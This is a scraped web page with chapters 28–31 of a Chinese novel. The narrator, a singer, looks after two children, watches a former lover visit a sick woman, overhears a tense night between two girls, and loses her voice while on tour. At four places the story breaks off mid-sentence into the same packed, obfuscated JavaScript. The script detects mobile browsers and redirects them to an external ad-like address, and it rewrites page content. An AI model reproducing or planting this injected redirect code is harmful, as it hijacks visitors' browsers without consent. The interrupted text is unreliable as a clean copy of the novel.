“没有人会没有遗憾。但人不能一直活在遗憾中,总要向前走。” “我还有妻子和孩子,我不想做对不起他们的事情。” “您不需要做什么。”我朝他靠近了一步,“您只要去同她说说话,说不定她能听到呢?” “说不定她不想听到我的声音呢。”他低下了头,“我是个懦夫。” “不,请不要这样说。她有一颗真正善良、仁慈的心。请相信我,她没有恨您,相反,她很理解您曾经的处境。不瞒您说,我曾是一个孤儿,后来寄养在她那里。她对一个完全陌生的孩子都倾尽所爱,又怎么会去恨一个曾经深爱的人呢?” “她是这样的。她拥有一颗最高贵、纯粹的心。您知道吗?在我回到普希诺村之前,也服侍过不少贵族老爷、夫人,有的人就像披着华袍的老鼠。而她才是真正的贵族。她身上有俄国女人最优秀的品质。可我算什么呢?我连给她拉车都不配。小姐,我没有脸见她啊。” 阿列克谢·费奥多尔耶维奇突然间情绪有些激动。即使过了那么久,即使他现在有妻有子,过着全新的生活,他在阿列克桑德拉·米哈伊洛耶夫娜面前仍然难掩自卑与愧疚。 我看着他那双粗糙的大手无措地磨搓着农具的把柄,一时竟很同情他。其实他也是一个极善良的人,否则愧疚的情绪不会延续这么久。 看着他的手,我不禁回忆起了多年前阿列克桑德拉·米哈伊洛耶夫娜曾给我讲述的自己少女时代的往事。那时,孤独的阿列克桑德拉最好的朋友竟是家里的老仆人格里高利,格里高利总是用粗糙的大手把她抱上马,带她去后山玩。地位最低等的农奴和地位高贵的小姐成为了好朋友。人的磁场是很奇特的东西。气质纯净、善良的人才能真正的相互吸引。 我不忍心再继续劝说阿列克谢·费奥多尔耶维奇了,他看上去很无助,我在内心深处突然对他生出了敬意。我朝他笑了笑,“阿列克谢·费奥多尔耶维奇,对不住,今天打扰您了,我先回去了。” 他低着头站在原地,没有作声。我上了马车,心里五味杂陈。阿列克谢·费奥多尔耶维奇和普希诺村的风景在身后渐渐远去,我或许还会见到他,或许再也见不到了。 21. 第28章 阿列克桑德拉·米哈伊洛耶夫娜的两个孩子——大女儿伊琳娜和小儿子安东从小经常去自己的祖母家玩。自从阿列克桑德拉·米哈伊洛耶夫娜生病以来他们便一直寄养在那里。 他们的祖母——一个年近七十的老太,是彼得·阿列克桑德罗维奇的继母,由于早早丧夫,她一直生活在孤单之中,这两个孙子孙女的到来使她本来枯燥无味的生活终于有了一丝水花。虽然没有血缘关系,但相处久了,她对他们也颇为热情。彼得·阿列克桑德罗维奇被判刑、流放的事情也没有影响到她对他们的感情,她似乎还更加重视这两个孩子了——她不再担心他们会随时被父母带走。 本来,伊琳娜和安东还会跟这位祖母继续生活下去,但由于一次意外——后者在一次洗澡过程中突然晕倒,中风过世了,伊琳娜和安东被接到了我这里。 安东今年八岁,性格开朗顽皮,甚至有些闹腾,和自己的父母一点儿也不像。他一刻也停不下来,最喜欢的是骑在仆人身上玩“骑马游戏”。他不允许没有人陪在他身旁,独处的时刻总令他焦躁不安。 安东的姐姐伊琳娜今年十三岁了,少女继承了母亲的美丽与安静。和弟弟不同,她做事认真,总是一丝不苟地上完每一节钢琴课和法语课,并认真完成老师布置的作业。生活中她也是个极细心的孩子,第二天要穿的衣服会让女仆提前准备好放在床头,餐盘里的食物会认真地全部吃掉。她做事极有计划性,任何破坏她计划的事情都会令她愤怒。 安东和伊琳娜刚来的时候,着实让我头疼了几天,因为我天性并不是一个喜欢孩子的人,甚至有些厌恶。他们也对我很陌生。我们小心翼翼地相互试探着。我很快就发现,虽然孩子的祖母把他们的生活照顾得还不错,但老人几乎没有关心过孩子的内心世界。尽管表现方式不同,但他们都是很敏感孤独的孩子。 尤其是伊琳娜,在她身上我似乎看到了曾经的自己。我深信,她超乎年龄的平静外表下有深海一样的内心。她如饥似渴地读书,时常流露出一股强烈的忧郁。她没有朋友,唯一的玩伴是一只名叫杰克的牧羊犬。她对杰克有着病态一样的爱,她同它说话、玩耍,睡同一张床。 一次,她上钢琴课的时候,由于仆人没看好,杰克溜出大门了,一时间没有找回来,那时候我看见她眼睛里有可怕的、无法饶恕的愤怒。我从未在一个孩子眼睛里看见这种情绪。最终,当杰克自己跑回家的时候,她冷静地抑制住了内心的激动,像个真正的主人一样严厉地斥责了那位看管杰克的仆人,命令他永远不许接近自己的小狗。 伊琳娜回来后去见过一次阿列克桑德拉·米哈伊洛耶夫娜。她站在自己母亲的床前,面无表情地问:“她怎么了?” 我知道她小小年纪,但聪明绝顶,任何谎言都难以令她心服,于是便告诉了她实情。她沉默了一会儿,没有吭声,随后便走出了那个房间,几乎没有再进去过。 安东从来不愿意进入那个房间,他总是惊叫着说里面有鬼,甚至路过的时候也必须有人陪同。 某天,我正同安东和伊琳娜吃早餐,仆人来报说,有一位姓瓦西里耶夫的农民要求见我。我立刻吩咐让他进来。不一会儿,阿列克谢·费奥多尔耶维奇穿着一件皱巴巴的、但洗得很干净的白衬衫走了进来。我惊喜地望着他,他有些不好意思地低下了头。 “他是谁?”安东好奇地打量着阿列克谢·费奥多尔耶维奇,“他可以陪我玩骑马游戏吗?” “安托沙,把你餐盘里的鹌鹑蛋吃完。”我说。 安东不开心地撇了撇嘴,把鹌鹑蛋故意扔到了餐盘外面。 我刚想教育他,伊琳娜不动声色地开了口,“捡回去。” 安东看了一眼自己的姐姐,有些惊恐的样子,最后乖乖把鹌鹑蛋捡起来塞进了嘴里。 “这是您的孩子吗?”阿列克谢·费奥多尔耶维奇问。 “不,他们是阿列克桑德拉·米哈伊洛耶夫娜的孩子。” “和她……性格很不同呢。”他小声说道。 我走到他面前,“阿列克谢·费奥多尔耶维奇,谢谢您来了。” “请带我去见她吧。” 我带着他来到了阿列克桑德拉·米哈伊洛耶夫娜的房间,他进去后我便离开了。我一边在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129323|164384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外面陪伊琳娜和安东上法语课,一边等待着阿列克谢·费奥多尔耶维奇。他在里面呆了很久,直到法语课结束也没有出来。伊琳娜回了自己房间,安东在客厅同仆人玩骑马游戏,我坐在窗前看书。 又过了许久,我看见安东突然从仆人身上跳下来,大声嚷道:“您可以陪我玩骑马游戏吗?” 我一回头,阿列克谢·费奥多尔耶维奇已经站在我的身后,他朝我微微点头致意,然后温情地看着安东,“好,您想玩什么就玩什么。” “那您快点蹲下。” 阿列克谢·费奥多尔耶维奇听话地蹲了下去。安东骑着他玩了很久的骑马游戏。他很有耐心,完全地配合着安东,安东玩得很开心。 看着阿列克谢·费奥多尔耶维奇沾着密密麻麻汗珠的额头,我明白了,他已经真切地爱上了安东,因为那是阿列克桑德拉·米哈伊洛耶夫娜的孩子。他对她的爱在安东身上间接地实现了。 “您明天还可以来吗?”安东气喘吁吁地从阿列克谢·费奥多尔耶维奇身上跳下来,问道。 “明天不行,我还有很多农活要干呢。”他温柔地回应。 “农活是什么?” “农活就是……嗯,一种劳动,可以让你吃到盘子里的面包。” “我不喜欢吃面包,我喜欢吃肉。所以您别干农活了,来陪我玩吧。” “安托沙,廖沙叔叔很忙,我们先让他回家吧。”我打断道。 “廖沙叔叔,您可以再来吗?可以吗?”安东用双臂环住阿列克谢·费奥多尔耶维奇的脖子,任性地撒娇道。 “好,我忙完农活会再来看您的。” “太好了!我真喜欢您!”安东开心地亲吻了阿列克谢·费奥多尔耶维奇的面颊。 阿列克谢·费奥多尔耶维奇对于安□□如其来的热情有些没反应过来,他害羞地站了起来,对我说道:“小姐,那我先回去了。” “您真的会再来看安东吗?” “会的。” 阿列克谢·费奥多尔耶维奇向我鞠了个躬,退出了房间,他出去的时候脸上带着淡淡的微笑。 22. 第29章 卡佳已经三个多月没有给我寄信了。接不到她的信总令我焦躁不安。她是不是发生了什么?各种猜测层出不穷,搅乱了我的思绪。果然,在最终寄来的信中我得知,她恋爱了。这对我来说仿佛当头一棒。 她给我描述了恋爱中的甜蜜、忧思、患得患失等等,仿佛完全陷入了这件事之中。我看着那熟悉的字迹,内心竟产生了厌恶的情绪。一方面,我很生气,气她自己,也气她遇到的那个人。不用知道他的任何信息我也坚信,他配不上她。另一方面,我恨她背叛了我对她的想象。她不是要去见识更广阔的世界吗?不是要过更独立、潇洒的人生吗?结果呢?她就要被别人如此牵动心绪了么? 一直以来我所羡慕的、我所努力模仿的她身上的优秀品质——自信、自我、独立等等,突然间淡化了。她也不过如此,我气愤地心想。可转念一想,恋爱是多么正常的一件事啊,尤其对于她这种美丽优秀的贵族小姐来说。我在气什么呢?我不愿承认我在气什么,甚至潜意识里知道我其实也没有生气,我只是吃醋了。我单方面地、霸道地断定,她让我失望了,她背叛了我们的情谊。 在那之后她又给我寄过几封信,回信中我总是以工作繁忙为理由匆匆应付几句。她那么敏锐,不可能不会注意到我文字中的情绪,但她并没有因此停止告诉我那些事情。我陷入了悲观的情绪中。后来,我干脆不给她回信了,她也不再寄信了。 断联后我不再生气了,但心好像也空了一块,能让我开心的事情变得特别少。 黛西很敏锐地发现了我的低迷情绪。一次排练结束之后,她一反往常地、热情地邀请我去她家喝酒。我答应了。 我来过黛西家很多次,每次一坐下就开始讨论各种演出事项,没太关注她家的陈设布置。这次一来我才发现,她家变得整洁了许多。波斯猫也有了私人空间——一个用旧木盒子和软垫子做成的长方形小窝,它骄傲地扬着脑袋,再也不和我抢沙发了。 “你什么时候学会收拾东西了?”我问。 “咱们上次巡演结束后,我累得要命回到家,发现各处都堆满了东西,连睡觉的地方都快没有了。就从那时开始,我学着一点点归置物品、打扫房间,慢慢就收拾出来了。” “奇怪,我之前来你家的时候怎么没发现呢。” “很多事情不是一蹴而就的。在你不经意的时候,一些细节已经发生改变了。” 黛西拿来两瓶葡萄酒,一瓶威士忌,以及果盘和熏肉。 “你喝哪个?”她问。 我指了指威士忌。黛西给我倒了小半杯威士忌,自己却倒了葡萄酒。 “你不是只喝烈酒吗?我还以为葡萄酒是给我准备的。”我嘀咕道。 “我现在喜欢上喝葡萄酒了。”黛西摊了下手,“你瞧,你又没注意到细节,我已经有段时间不碰烈酒了。” “好吧,”我端起酒杯,“黛西,为你有了新的生活习惯而干杯。” 她轻轻碰了下我的酒杯,在对面坐下。 “能问你一个私人问题吗?”我犹豫着看了她一眼。 “请问。” “你一直是一个人吗?” “什么意思?” “嗯……你恋爱过吗?” 她抿了口酒,“亲爱的,我谈恋爱的时候你还在玩玻璃球呢。” “什么样的人会被你喜欢呢?” “男人和女人,只要是我认为美的。”她坦荡地答道。 我为她的坦荡感到惊讶,却又觉得这正是黛西会有的回答。 “不过,不仅要外表美,还要这里美。”她用食指轻轻点了点心脏的位置。 “听谢尔盖说,你曾经为好几个女歌手写过作品,你喜欢她们吗?” “当然,她们可是我最初创作的动力。”黛西顽皮地挑了挑眉毛。 “那为什么分开了?” “她们都渐渐嫁人了。” 房间里陷入了沉默。我的目光落到了钢琴上摆着的那幅陌生女人的照片上。看得出来,相框被新擦得很干净。 窗台上突然飞来一只鸽子,波斯猫一个机灵想要扑上去,鸽子飞了。 “你想过结婚吗?”我继续问道。 “我不会结婚的。”她语气平静且坚定。 “为什么?” “婚姻的受益者只有男性。而且,现实生活中幸福的婚姻太少了,就算一对夫妻表现出幸福的样子,谁知道他们内心真正的感受是什么样的呢? 我曾经有一位同行前辈,他也是剧作家,她的妻子是一位作曲家。这位丈夫平时工作繁忙,他的妻子为了家庭放弃了自己的事业,全心全意照顾丈夫的工作和生活。就这样过了二十多年,剧作家创作颇丰,在业界获得了非同凡响的声誉,而他的妻子为了生了十三个孩子。外人无不称赞这位剧作家和他的妻子,认为他们是最完美、幸福的一对。可人们在称赞这位妻子的时候,是把她作为著名剧作家的妻子而称赞的。没人记得她曾经也是一位优秀的作曲家。 而且,几乎没有人提及这位妻子生养了这么多孩子的辛苦以及她放弃自己事业的无奈。没错,说不定人家心甘情愿这么做,是我在这多管闲事。可设身处地地想一下的话,她真的没有过一丝的后悔、无奈吗?为了所爱的人就一定要牺牲自己吗?一定要牺牲女性吗?这是真的幸福吗?反正我无法理解,永远无法理解。这还只是一个例子,还有成千上万不知名的‘妻子’在婚姻的水深火热中煎熬着,只是我们看不到罢了。” “我理解你所说的一切,因为我的母亲也是这那样一位妻子,只是她比剧作家的妻子更可怜可悲,因为她的牺牲并没有换来我继父的爱和幸福的婚姻,她一辈子都生活在苦难之中。她去世的时候躺在一张堆满破衣服的床上,我继父甚至没有为她举办葬礼。她就那么悄无声息地死掉了,没有人记得她,除了我。其实,我对她的印象也已经模糊了。” “对不起,让你回想起了伤心事。” “没关系,都过去了。” “你最近是不是有什么心事?”黛西慢悠悠地摇着高脚杯。 “没有。”我匆匆摇了摇头,犹豫了片刻,又沮丧地耷拉下脑袋,“是的。” “我猜,和那位公爵小姐有关吧? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129324|164384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “嗯。” “发生什么了?” “我突然不知道什么是爱了。黛西,爱是占有吗?” “我没法回答你这个问题。对我来说,爱是很私人的事情,或者说,是自己一个人的事情。” “你会爱一个可能永远无法在一起的人吗?” “会。” “值得吗?” “值不值得只有自己知道。反正,在我看来这是一件挺酷的事情。” “这样的话,你怎么判断自己爱得是真实的对方,还是想象中的呢?” “时间会给出答案。年轻时我总是爱上幻想中的人,经历了一些痛苦、离别,我才明白,应该爱具体的人。可是爱具体的人比爱想象的人难多了。因为你要接受他的普通,他的世俗,他的一切缺点——懦弱、胆怯、自私等等。总之,你要透过那光鲜亮丽的外表看见最真实的、甚至是不堪的人性,然后仍愿意接受这样的他,不是那么容易的。” “既然这么辛苦,为什么人们还是会为了爱情奋不顾身呢? “因为爱是使人迅速成长的捷径。你在爱别人的过程中经历的那些小鹿乱撞、欣喜、害怕、犹豫、自卑、期待、向往、跌落深渊、痛苦、释然会在你的身体里孕育、成长,使你成为全新的自己。外人可能看不出来区别,但你自己一定能感受到。我有时候想想二十岁时候的自己和现在有什么不同呢?不同还是挺大的。曾经我很希望能回到二十岁,现在不这么想了。” “你害怕离别吗?” “以前总是怕,现在好一些了。” “为什么?” “因为别人的离去与否并不由我的意志决定。小时候我总是处于恐惧的状态中,我不常见到父母,每次好不容易见面,我就开始害怕他们会马上离开我。可害怕又有什么用呢?他们最终还是抛下了我。儿时产生的这种害怕情绪支配了我很久。 后来,我即使进入了亲密关系也总是处于恐惧之中。我害怕恋人的离去,对对方充满了控制欲,那些年我感觉自己很糟糕。又过了许久,当我慢慢接受了所有人都会离开的事实,我就变得不害怕了。公爵丧宴那天,公爵夫人的言辞又让我回想起了小时候的事情,情绪稍微不稳定了一下,才会对你说那些话。亲爱的,如果有一天你要离开我,跟我说一声就好,不要悄悄地走掉。” “我不会离开你。” 黛西把食指抵在嘴唇上,做了个“嘘”的手势,“不要说那么早,我相信时间。” 夜已经深了。酒过三巡,黛西精神尚好,而我已经有了醉意。我在她家的长沙发上躺下,她给我拿来了毯子。 不知道为什么我突然指着钢琴上的照片问道:“那个女人是谁?” 黛西的眼睛闪过一抹不自然,但很快便被她熟练地遮掩了过去。 “一个朋友。”她简洁答道。 她给我盖上毯子,我无意间碰到了她的手。那双我几乎每天都会看到的双手,那双由于长期弹琴变得并不纤细柔软的手,我却仿佛第一次触碰到一样。我们相处那么久,但黛西对我来说却一直像谜一样。 23. 第30章 伊琳娜很喜欢跟我去看芭蕾舞演出。她从小练过几年芭蕾,后来由于受伤祖母便不允许她继续练下去了。最近,她似乎又对此有了心思。从前她对我的职业并不关心,但渐渐地,她开始同我讨论关于艺术、舞台的问题。 有一次,她突然郑重其事地告诉我说,自己以后想成为一名芭蕾舞演员,希望我可以送她去舞蹈学校继续学习。 对于这样一个沉默内向的孩子来说,向别人诉说心事是很不容易的事情。我因她对我产生的短暂的信任而感动。我立马找到了舞蹈学院的老师,老师说这种情况以后要想成为顶级舞者的话道路会很艰辛,需要比那些一路不间断学过来的孩子多付出很多努力。 我把老师的话转达给了伊琳娜,她低头思考了一会儿,然后坚定地告诉我,她可以吃苦,也相信自己可以坚持下来。就这样,伊琳娜重启了自己的学舞生涯。 伊琳娜在女仆的陪伴下每天都准时去舞蹈学院练习。回来后,她偶尔会跟我探讨一些专业性的东西。由于我对芭蕾的了解有限,并不能给她太多专业的建议,但我会认真倾听她所说的内容,就像阿列克桑德拉·米哈伊洛耶夫娜曾经倾听我那样。 伊琳娜几乎不跟我说在舞蹈学院的生活琐事,遇见了什么人,有什么烦恼等等。我害怕她会因为有关她父母的一些流言蜚语而难过,但我的担心完全是多余的。她是个坚定的孩子,能完全地专注于自己所做的事情,不受外界的干扰。 有一天,伊琳娜回家时带了一个比她年龄略小两岁的女孩。她有些害羞地给我解释道,这是她的朋友玛莎。见惯了伊琳娜冷静严肃的模样,她害羞的样子倒让我吃了一惊。 玛莎衣着简单朴素,略微向上吊着的眼角以及两颗小虎牙使她看上去像只机灵的小猫咪。玛莎和伊琳娜性格完全相反,她开朗活泼,侃侃而谈,完全没有底层家庭孩子身上的自卑与胆怯。她大方地介绍自己,热情地和见到的每个人打招呼。我发现玛莎说话的时候伊琳娜总是默默地微笑着看着她。 玛莎的父亲在工厂工作,母亲是位家庭主妇,家中共有四个孩子,玛莎是最小的那个。她之所以能去舞蹈学校学习是因为从小便显露出极高的舞蹈天赋——身体非常灵活、拥有天生的节奏感、学习速度很快,而且她的天赋幸运地被一位芭蕾舞界的前辈发现了。 后来,玛莎在这位前辈的引荐以及俄国艺术基金会的资助下进入彼得堡舞蹈学院学习。玛莎也不负众望,尽管年龄不大,但在舞蹈学院一直是被老师们最看好的那个。 两个女孩和我打过招呼后便钻进了房间,关上门一直玩到了晚上,晚饭也是仆人送进房间吃的。晚饭后,伊琳娜邀请玛莎留下来同住。伊琳娜对自己的房间有严重的洁癖,她不允许别人坐在自己的床上。有一次安东偷偷跑去她房间玩,最后是哭着出来的。我暗自惊叹于玛莎的魅力,居然能让伊琳娜如此特殊对待,也为伊琳娜终于有了好朋友而感到高兴。 睡前,女仆准备去伊琳娜的房间送热牛奶,伊琳娜有睡前喝牛奶的习惯。我刚好在走廊上碰上端着托盘的女仆,便从她手中接过牛奶,来到了伊琳娜的房间门口。我刚想敲门,听到了里面的说话声,于是便静静地站在门口。 “伊拉,安东说走廊尽头的房间有鬼。” “不是,安东是个傻子,他什么都不懂。” “可是我刚才路过的时候听到里面有‘呼呼’的声音。” “那是因为仆人忘记关窗户了,是风吹窗户框的声音。” “你怎么知道?” “我每次去的时候窗户都没有关严,据说是为了通风。” “你进去过?” “嗯。” “那里面有谁?” “没有谁,你别问了。” “哦。” 我在门口暗自惊讶,原来伊琳娜自己偷偷去过阿列克桑德拉·米哈伊洛耶夫娜的房间! “伊拉,我们让杰克一起上床睡好吗?你看,它自己躺在地毯上多孤单。” “不行,玛莎。杰克洗完澡才能上床。” “那我们来玩过角色游戏不好?我们当大人,杰克当小孩,反正让它过来嘛。” “玛莎,杰克会掉毛的。” “你如果真的喜欢它就不会嫌弃它的。” “我当然真心喜欢杰克。” “……” “那好吧。不过,只能玩一会儿。” “耶!”玛莎开心地叫了一声,“杰克,过来!” “那谁当爸爸,谁当妈妈?” “我们都是它的妈妈。小杰克,你要听话。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129325|164384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玛莎,你瞧,杰克第一次见到你就很喜欢你。” “可能我前世是只狗狗吧。” “那你学杰克叫一声,我听听像不像。” “我不仅会学狗叫,我还会像它一样……亲你!” “你干嘛?” 房间里传来床的摇动声。 “怎么了?”玛莎听上去有些受惊。 “我不喜欢别人离我太近。” “哦……对不起。” 房间里沉默了一阵。不一会儿,伊琳娜开口道:“你生气了?” “没有。”玛莎淡淡回应。 “那你为什么不转过身来?” “我困了,要睡觉了。明天还要练舞。” “那……晚安。” “嗯。” 房间里没了动静。 我端着托盘轻声离开了。 第二天一早,伊琳娜向往常一样早早下楼吃早餐。玛莎是后下来的,脸上还带着没睡醒的倦意。我和女孩们打了招呼,假装坐在窗前看报纸,其实是在暗中观察她们…… “早,玛莎。”伊琳娜主动问好。 “早,伊琳娜·彼得罗夫娜。”玛莎故意叫了伊琳娜名字的全称。 伊琳娜无奈地看了她一眼,“你昨晚睡得好吗?” “非常好。” 玛莎傲娇地回复了一句。她坐下的时候故意和伊琳娜间隔了一个座位。 “你呢?”玛莎反问。 “还行吧。” 随后,两个人便各自吃着盘中的早餐,没有交流。过了一会儿,伊琳娜盯着玛莎的餐盘,说:“你不喜欢吃蛋黄可以给我。” “我喜欢吃。” 玛莎说完就把剩在盘里的蛋黄一口吞了下去。 “我记得你以前不喜欢吃。” “你记错了。”玛莎努力着咽口中的蛋黄。 吃完早餐后,两个女孩准备去学校。出门前,玛莎真诚地亲吻了我,感谢我的款待与照顾,她举止落落大方。 我把她们送到大门口,刚要回头,我看见伊琳娜牵住了玛莎的手,玛莎尝试着甩开,伊琳娜赶紧又牵了上去。 最后,两个女孩牵着手一起去学校了。清晨的阳光洒在她们金色的头发上,发丝在微风的吹拂下仿佛在镁光灯下跳舞。 24. 第31章 我做过很多有关身体的梦。有段时间经常梦到牙齿松动或者牙齿掉光了,梦境真实到我醒来后需要缓好久才能确定一切并不是真实发生的。有时还会梦到后面有人在不停地追我,而在这种时刻我的双腿会突然发软、无力,以至于行走困难,下一秒就要被坏人追上。我还梦到过伤口一直无法愈合、关节突然变得僵硬等等情况。 总之,在压力大的情况下这种梦就会时不时地来干扰我的睡眠。 黛西的新作在谢尔盖小剧院获得了不错的反响。其中一部以古西域为背景的歌剧《楼兰小姐》尤其引起了强烈的关注。在剧院负责人及剧组的共同商讨与决定下,《楼兰小姐》的巡演开启了。 我们从彼得堡出发,首先在彼得堡附近的一些小城镇演出。巡演的第三周,刚刚结束在斯特雷尔纳的演出后,大伙儿决定小小的庆祝一下。 庆祝会在一间不大的饭馆举办。饭馆靠海,一进去就有一股蛤蜊的腥味。大厅里坐着几桌衣着休闲的本地客人,见我们进来后投以好奇的目光。我们来到了二楼的包间,导演伊里奇·伊万诺维奇抱着菜单点了很多菜和酒。 除了我以外,剧组其他的同事们已经互相认识很多年了。他们边吃边谈论起了加入谢尔盖小剧院以来一路上遇到的风风雨雨,几位老演员还敬了我几杯酒。 由于地处高纬度,即使夏天快要结束了斯特雷尔纳的夜也来得晚些。窗外,临海公路的尽头是橘粉色的天空。我倚在窗前,边欣赏着海景边听着大伙儿的聊天。我在演唱期内一向严格控制饮酒,但今晚的情境下竟也不觉喝了许多。 庆祝会结束已接近十二点了,演员、乐手们相互搀扶着准备离开饭馆。一楼大厅里仍有稀稀落落的几个客人,看上去醉醺醺的,正勾肩搭背地互相吹牛。其中一个留着络腮胡的中年男人看见我们后突然撇下同伴从座位上坐了起来。 他歪歪斜斜地走到了我面前,口齿不清地说道:“我认识您。我女儿特别喜欢您。不过她从未去看过您的演出。因为买不起票。哈哈哈哈哈!” “您有钱喝酒不给她看演出的票钱,瞎在这嚷嚷什么!”次男高音不满地对男人呵斥道。 “我天天给人拉车赚钱,妻子得了肺痨只能在家躺着,家里有五个孩子,全家的压力都在我身上,我喝个酒怎么了?”男人提高了音量,一副不服气的样子。 次男高音懒得再和男人理论,招手示意大家快走,而男人却情绪越来越激动,一把抓住了他的胳膊,“说啊!我喝酒怎么了?我还不能喝个酒了?您天天在舞台上卖个嗓子就能赚钱,怎么能理解我们这种人的艰辛?她想去听高级玩意,我是断断没有钱给她的。要怪就怪她生在我们这个破家!” 男人说完便一屁股坐在地上哭了起来。饭馆老板连忙跑了过来,边拉起男人的胳膊要把他拖出去,边骂道:“德米特里·瓦西里耶维奇,您还好意思在这哭,您上上次的酒钱还欠着没给呢。您现在赶快给我出去,以后再也不要来了!” 由于酒精的作用我的脚步有些沉重,但大脑仍是清晰的。我拦住酒店老板,问那男人:“您女儿叫什么?” “索菲亚·德米特里耶夫娜·库兹涅佐娃。” “麻烦您转告索菲亚·德米特里耶夫娜,我们明天晚上七点半在加特契夫小剧院有演出,她可以不用买票直接进来看演出,算我请她的。” 男人眼珠子转了一下,呲着牙对我笑道:“好,我转告她。那您能不能也帮帮我?帮我把酒钱付了吧。” “您别得寸进尺!”导演伊里奇·伊万诺维奇呵斥道。 男人嘴里胡乱嘟囔着什么醉醺醺地离开了小饭馆。 深夜,我们一行人回到了旅馆。我一头躺倒在床上,在隔壁的吵闹声、海浪的拍打声以及疲惫中昏昏入睡。 第二天一早,我在惊恐中醒来。我又做了一个关于身体的梦,但梦见的内容是全新的。我梦见自己的嗓子无法发出声音了。我一动不动地躺在床上,黛西已经醒了,但我不敢同她说话,我怕我一张嘴梦就变成了现实。 我默默祈祷她也这么安静地躺着,但她很快坐了起来,伸了个懒腰,看着我,“昨晚的海浪声实在太吵了。你睡得还好吗?” 我紧绷着身体的每一处,惶恐地盯着天花板,没有回应。 “今晚的票卖得很好,一经出售就卖光了。”黛西继续说道。 我还是没有回应。她疑惑地盯着我,“安娜,你怎么了?” 我深呼吸了一下,张开嘴巴,“我睡得不太安稳。” 我感觉自己在发声的时候喉咙有些紧绷,但我还是欣喜地听到了自己的声音!我顿时松了一口气。 吃完早饭,我像往常一样开始进行长达四十分钟的发声练习。一张口,我发现自己的声音居然变尖了,从我嗓子里出来的声音竟有些陌生。我排除了疲劳和酒精的影响——那种情况下声音会变粗、变低。但我也实在不知道自己的嗓子究竟发生了什么。 上午九点钟,我们开始前往加特契夫。一路上,我基本没怎么说话。我害怕别人知道这件事,同时寄希望于到达加特契夫后我就会立马好了。 到达加特契夫小剧院后,我立刻找了一间更衣室重新尝试练习发声,然而情况并没有好转。我沮丧地瘫坐在了地上。不一会儿,黛西推门走了进来。 “安娜,怎么了?” “我的嗓子好像出现问题了。”我痛苦地向她承认。 “具体什么情况?”她在我对面席地而坐。 “我只要一开口,声带就是紧绷的,发出的声音也很奇怪。” “是不是最近太累了?或者,心情过于紧张了?” “我不知道。”我无措地看着她,“黛西,我晚上要是无法登台怎么办?” “我现在派人去请医生,先别着急。” 加特契夫是个小城市,尽管请来的医生算当地较好的了,但医生看了我的情况后仍然表示自己水平有限,看不了这种疑难杂症。医生推测病症可能是声带痉挛,也称为声带痉挛性发声障碍,其特征是喉咙有紧束感、发声困难或有时完全无法发声等。具体原因医生也不清楚,治疗的药物也几乎没有。 离演出开始还有几个小时,为了不耽误今晚的演出,我决定注射一剂镇定药物暂时保证正常的吞咽和歌唱。 镇定剂的效果非常迅速。注射完之后,身体像是什么都没发生一样。在后台化妆、换衣服、等待演出开始的三个小时我的内心翻江倒海。那是我永远无法忘记的三个小时。我时而恍惚觉得一切都是在做梦,我还没从昨晚那个噩梦中醒来,时而猛地意识到,我注射的镇定药物会在几个小时内失效,我的嗓子、我的身体很快就会回到之前那个痛苦的状态中。 演出开始了。我像往常一样登台、演唱、和其他演员互动。前半部分一切尚且正常,到了后半部分,我感觉药效在下降,我的声带开始颤抖,我绷紧神经全力维持 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129326|164384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着自己的状态,即便如此,演唱仍出现了不可避免的瑕疵。每出现一次失误,我的心就猛地下坠一下。 谢幕完毕后,从舞台走到后台的路上,我完全地陷入了恍惚,眼前的路越来越窄,我感觉天花板在朝我逼近。我整个人被不断缩小的空间挤压、再挤压…… 我听到有人在喊我的名字。是一个女孩,她递给了我一束鲜花。 “您是哪位?”我勉强张开嘴。 “索菲亚·库兹涅佐娃,我的票……” 我感觉我的双腿开始抽搐不受控,女孩的声音越来越模糊。最后,我眼前一黑,倒在了地板上。 